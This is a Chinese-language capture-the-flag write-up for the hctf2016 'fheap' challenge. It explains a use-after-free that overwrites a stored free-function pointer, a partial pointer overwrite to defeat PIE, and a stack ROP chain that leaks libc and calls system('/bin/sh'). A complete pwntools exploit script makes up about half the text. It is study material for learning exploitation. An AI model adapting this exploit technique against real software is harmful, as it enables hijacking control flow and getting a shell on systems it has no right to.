hctf2016-fheap

题目介绍

程序只有两个功能:

1
2
1.create string
2.delete string

1、create 功能

先申请一个0x20大小的堆空间,接着输入字符串,如果字符长度<0xf那么直接放入ptr里,如果 >0xf 则再申请适合长度的堆空间存字符,然后将指针存到ptr中,最后会将堆的free函数存储在堆存储结构的后8字节处,如下图

2、delete 函数

调用存储在结构体里的free_func指针来释放堆

由于free时没有将指针置空,出现了释放后仍可利用的现象,即uaf

利用思路

查看保护机制

可以看到保护全开,所以在解题过程中要先绕过PIE。

思路:首先利用uaf,利用堆块之间申请与释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说,先申请三个字符长度小于0xf 的堆块,并将其释放。此时fastbin中空堆块的单链表结构如下图:

那么此时再创建一个字符长度为0x20的字符串,则申请出来的堆结构会是如下图

此时就可以将1号堆块的free_func指针覆盖为任意内容,指向我们需要执行的函数,随后再调用1号块的free_func函数,实现劫持函数流的目的。

利用过程

1、绕过PIE

在能劫持函数流之后 ,首先是泄露出程序的地址以绕过PIE,具体方法是:将free_func的低位覆盖为0x2d,去执行puts函数,打印出free_func的地址从而得到程度基地址。

2、泄露真实地址

得到基地址后,下一步要做的就是泄露真实地址了,puts函数执行完后程序回到了0xc71处,此时fastbin中只有2号堆块,所以要先释放0号堆块,释放完后3个堆块都处理空闲状态了,此时查看栈中的情况会发现,在delete中输入的yes其实是存储在栈中的,而且,可读入0x100个字节。

这样,我们就可以在栈上布局rop链达到劫持程序流的目的, 我们可以找到pop_pop_pop_pop这样的gadget将栈顶的4个元素弹出,’yes’之后便是返回地址。再调用puts函数打印出puts_got得到puts的真实地址。再利用同样的方式调用system(‘/bin/sh’)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#coding:utf-8
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = process('./pwn-f')
elf = ELF('./pwn-f')
libc = elf.libc
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def create(size, string,isdebug):
p.recvuntil('3.quit\n')
p.sendline('create ')
p.recvuntil('Pls give string size:')
p.sendline(str(size))
p.recvuntil('str:')
if isdebug:
debug(0xf76,1)
p.send(string + '\x00')

def delete(id,isdebug):
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(id))
p.recvuntil('Are you sure?:')
if isdebug:
debug(0xe37,1)
p.sendline('yes')
def quit():
p.recvuntil('3.quit\n')
p.sendline('quit ')
create(15,'aaa\n',0)
create(15,'bbb\n',0)
create(15,'ccc\n',0)
delete(2,0)
delete(1,0)
delete(0,0)
# debug(0xee2)
create(0x20,'a'*24+'\x2d',0)
# debug(0xd95,1)
delete(1,1)

p.recvuntil('a'*24)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d
printf_plt = elf_base + 0x9d0
puts_plt = elf_base + 0x990
puts_got = elf_base + 0x202030
print "elf_base --> " + hex(elf_base)
print "printf_plt --> " + hex(printf_plt)
print "puts_plt --> " + hex(puts_plt)
pause()
pop_4 = 0x11dc + elf_base
pop_rdi = 0x11e3 + elf_base
print "pop_4 --> " + hex(pop_4)
# pause()
delete(0,0)
payload = 0x18*'a'
payload += p64(pop_4)
create(0x20,payload,0)

p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
temp = 'yesaaaaa'
temp += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
temp += p64(0xc71 + elf_base)

p.sendline(temp)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print "puts_addr --> " + hex(puts_addr)
offset = puts_addr - libc.symbols['puts']
onegadget = offset + 0x45216
# print "onegadget --> " + hex(onegadget)
system_addr = offset + libc.symbols['system']
binsh_addr = offset + libc.search('/bin/sh').next()
print "system_addr --> " + hex(system_addr)
print "binsh_addr --> " + hex(binsh_addr)
pause()
delete(0,0)
payload = 0x18*'a'
payload += p64(pop_4)
create(0x20,payload,0)

p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
temp = 'yesaaaaa'
temp += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(temp)
p.interactive()
0%